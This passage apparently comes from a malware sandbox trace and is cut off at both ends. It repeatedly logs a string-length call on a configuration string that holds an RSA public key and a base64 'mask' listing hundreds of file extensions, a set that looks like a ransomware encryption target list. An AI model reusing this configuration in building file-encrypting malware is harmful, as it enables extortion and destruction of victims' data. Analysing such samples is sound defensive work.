iwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0169.401] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0169.401] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0169.401] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4